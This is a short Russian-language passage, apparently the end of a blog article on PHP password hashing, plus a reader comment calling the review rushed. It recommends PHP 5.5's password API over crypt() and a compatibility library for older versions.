Как видите, работать с новым API не в пример легче, чем с неуклюжей функцией crypt(). Если же вы используете более ранние версии PHP, то рекомендую обратить внимание на библиотеку . Она эмулирует данный API и автоматически отключается, когда вы обновляетесь до версии 5.5.

Заключение

К сожалению, до сих пор не существует идеального решения для защиты данных. К тому же всегда есть риск взлома вашей системы безопасности. Однако борьба снаряда и брони не прекращается. Например, наш арсенал средств защиты относительно недавно пополнился так называемыми .
  • Сергей Савенков

    какой то “куцый” обзор… как будто спешили куда то